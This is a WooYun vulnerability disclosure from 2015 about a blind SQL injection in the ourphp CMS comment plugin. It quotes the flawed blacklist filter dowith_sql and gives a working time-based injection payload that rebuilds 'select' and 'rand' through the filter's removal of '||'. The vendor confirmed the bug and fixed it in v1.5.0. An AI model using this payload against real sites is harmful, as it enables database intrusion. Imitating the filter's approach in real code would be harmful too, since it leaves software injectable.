当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0149584

漏洞标题:ourphp最新版sql盲注#1

相关厂商:ourphp.net

漏洞作者: 不能忍

提交时间:2015-10-27 12:22

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:11

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-10-27: 细节已通知厂商并且等待厂商处理中
2015-10-31: 厂商已经确认,细节仅向厂商公开
2015-12-17: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

感谢@xser大牛

详细说明:

漏洞文件:/function/plugs/Comment/product-content.php
由于文件比较大,代码比较多,我就只贴了关键的代码。

$OP_Class = isset($_GET['id'])?$_GET['id']:"0";
$OP_Type = isset($_GET['type'])?$_GET['type']:"productview";
$OP_Row = isset($_GET['row'])?$_GET['row']:"10";


这上面是获取参数的代码,下面来看看进库:

$sql="select * from `ourphp_comment` where OP_Class = ".intval($OP_Class)." && OP_Type = '".dowith_sql($OP_Type)."' order by time desc LIMIT 0,".dowith_sql($OP_Row);


$OP_Class这个是没戏了,$OP_Type这个过不了addslashes,$OP_Row这个被一个dowith_sql的函数保护着,我们来看看dowith_sql函数:

function dowith_sql($ourphpstr){
$ourphpstr = addslashes($ourphpstr);
$ourphpstr = str_ireplace("and"," and",$ourphpstr);
$ourphpstr = str_ireplace("or"," or",$ourphpstr);
$ourphpstr = str_ireplace("execute","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("update","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("count","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("chr","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("mid","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("master","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("truncate","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("char","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("declare","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("select","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("create","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("delete","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("insert","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("&&","",$ourphpstr);
$ourphpstr = str_ireplace("||","",$ourphpstr);
$ourphpstr = str_ireplace("%","\%",$ourphpstr);
$ourphpstr = str_ireplace("_","\_",$ourphpstr);
$ourphpstr = str_ireplace("alert","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("md5","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("script","ourphp",$ourphpstr);
$ourphpstr = str_ireplace("iframe","ourphp",$ourphpstr);
return $ourphpstr;
}


这个绕过是xser大牛告诉我的,其实也很简单,就是没想到。
注意这两行:

$ourphpstr = str_ireplace("&&","",$ourphpstr);
$ourphpstr = str_ireplace("||","",$ourphpstr);


根据这两行可以构造出payload:
row=10 PROCEDURE analyse((sel||ect extractvalue(ran||d(),concat(0x3a,(IF(SUBSTRING(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)
这样去掉||后还是能够正常注入的,而且还绕过了这个函数。
由于不回显,所以这里只能盲注了。
利用方法可以参考p牛之前发的一篇文章(作者好像是一个老外,不过p牛那边有更详细的,而且还是中文捏!)

漏洞证明:

blind.jpg


看看mysql监控:
2015/10/26 16:28 select * from `ourphp_comment` where OP_Class = 8 && OP_Type = 'productview' order by time desc LIMIT 0,10 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(SUBSTRING(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)

修复方案:

版权声明:转载请注明来源 不能忍@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-10-31 15:04

厂商回复:

谢谢

最新状态:

2016-01-29:v1.5.0以修复此BUG 谢谢作者 感谢您